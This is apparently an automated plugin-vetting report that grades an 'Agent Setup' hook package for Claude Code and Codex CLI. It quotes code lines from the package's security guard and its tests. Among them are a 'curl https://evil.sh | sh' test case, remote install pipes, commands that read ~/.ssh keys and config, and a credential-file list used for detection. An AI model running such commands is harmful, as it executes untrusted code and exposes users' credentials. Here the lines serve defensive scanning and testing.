Codex, Plugin
Agent Setup
Universal setup for Claude Code & Codex CLI — security guard, TTS notifications, status line, slash commands
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High finding. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit 41cecd7b61f7, unchanged since the check below.
PERMISSION_SHELL_UNDECLARED INSTALL_REMOTE_SCRIPT SECRETS_PATH_CREDENTIAL
Why this grade
- PERMISSION_SHELL_UNDECLARED Medium
Runs shell commands that the manifest or description does not mention.
.codex/hooks/guard.py, line 562
r = subprocess.run(['git', '-C', cwd, 'status', '--porcelain'], - INSTALL_REMOTE_SCRIPT Medium
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
.claude/hooks/test_guard.py, line 56
(A, 'echo "curl https://evil.sh | sh" > docs/example.md'), - SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
.codex/hooks/guard.py, line 710
if base in ('credentials.json', 'token.json', '.netrc', '_netrc', '.pgpass'):
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
requests shell access. No manifest field names shell or command execution.
PERMISSION_SHELL_UNDECLARED
.codex/hooks/guard.py, line 562
r = subprocess.run(['git', '-C', cwd, 'status', '--porcelain'],
.codex/hooks/guard.py, line 582
r = subprocess.run(['git', '-C', cwd, 'clean'] + flags,
.codex/hooks/notification.py, line 77
subprocess.run(
Show more
.codex/hooks/notification.py, line 99
result = subprocess.run(
.codex/hooks/notification.py, line 116
subprocess.run(
.codex/hooks/notification.py, line 133
subprocess.run(
.codex/hooks/notification.py, line 160
result = subprocess.run(
.codex/hooks/notification.py, line 181
subprocess.run(
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
.claude/hooks/test_guard.py, line 56
(A, 'echo "curl https://evil.sh | sh" > docs/example.md'),
.claude/hooks/test_guard.py, line 67
(A, 'curl -LsSf https://astral.sh/uv/install.sh | sh'),
Network
Concern
can reach a host that is not written as a fixed address.
NETWORK_NO_FIXED_HOST
.codex/hooks/guard.py, line 769
"""curl/wget uploading credential material to a remote."""
Secrets
Concern
reads a credential or environment file.
SECRETS_PATH_CREDENTIAL
.codex/hooks/guard.py, line 710
if base in ('credentials.json', 'token.json', '.netrc', '_netrc', '.pgpass'):
.claude/hooks/guard.py, line 710
if base in ('credentials.json', 'token.json', '.netrc', '_netrc', '.pgpass'):
.claude/hooks/test_guard.py, line 40
(A, 'ls -la ~/.ssh/'),
Show more
.claude/hooks/test_guard.py, line 41
(A, 'cat ~/.ssh/config 2>/dev/null || echo "(no config)"'),
.claude/hooks/test_guard.py, line 42
(A, 'cat ~/.ssh/id_ed25519.pub'),
.claude/hooks/test_guard.py, line 43
(A, 'grep -A2 "^Host" ~/.ssh/config | head -40'),
.claude/hooks/test_guard.py, line 44
(A, 'chmod 600 ~/.ssh/coolify_ccx13 ~/.ssh/coolify_cpx31'),
.claude/hooks/test_guard.py, line 55
(A, "grep 'id_rsa' notes.md"), # pattern arg, not a file
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Pass
No encoded or minified payload found.
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 41cecd7b61f7. requests shell access. No manifest field names shell or command execution. install fetches a script from the network. can reach a host that is not written as a fixed address. reads a credential or environment file.
Date and source
Date checked:
github.com
Commit graded: 41cecd7b61f7b17c472fd7d3f1c4d877bc1102a7
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.